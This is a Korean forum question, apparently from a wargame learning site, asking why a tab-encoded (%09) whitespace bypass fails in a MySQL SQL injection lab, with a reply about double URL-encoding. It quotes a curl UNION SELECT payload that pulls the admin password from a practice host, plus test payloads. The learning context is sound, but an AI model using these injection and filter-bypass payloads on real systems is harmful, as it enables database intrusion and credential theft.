%09로 공백 우회 되는 거 맞나요..??

~~강의에 나온 익스플로잇 코드 curl "http://host1.dreamhack.games:10137/?uid='Union Select null,upw,null From user where uid=\"Admin\"%23" 에서 저 쿼리 부분

그러니까 'Union%09Select%09null,upw,null%09From%09user%09where%09uid="Admin"%23 만 붙여 넣어서 해봤는데 계속 500 에러가 나길래

우선 공백 우회가 되는지 먼저 테스트 하고 싶어서

'%09Union(Select%09'a','b','c');-- 를 입력했습니다

그러니까 쿼리문이
SELECT * FROM user WHERE uid=''%09Union(Select%09'a','b','c');--'
이렇게 되게요

만약에 우회가 되는 거면 정상 실행되었을텐데
그렇지 않고 계속 Internal Server Error 가 발생합니다

혹시 해서 mysql 에 똑같은 db 만들어서
저 쿼리문을 실행했더니 역시 오류가 나면서 안되고,

반대로 %09만 다시 공백으로 바꾸고
SELECT * FROM user WHERE uid='' Union(Select 'a','b','c');--'

해봤더니 정상 실행 됩니다

궁금한걸 요약해서 말씀드리자면
아직 mysql에서 %09로 공백 우회 되는 거 맞는 건가요?
혹시 최근에 우회가 안되게 막혔다던가 하는 업데이트가 있었나요?

답변해주시면 감사드리겠습니다 ㅠㅠ~~

#웹해킹 #심화 #sql_injection #waf
작성자 정보
답변 1
abcd1234
대표 업적 없음

해결

  1. 페이지의 form에 입력해서 풀면 %가 %25로 이중인코딩됩니다 curl로 풀어야됩니다

  2. mysql 내에서 %09 들어가면 오류 나는 건 왜그런건지 모르겠습니다 ㅠㅠ

2022.11.29. 12:15
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기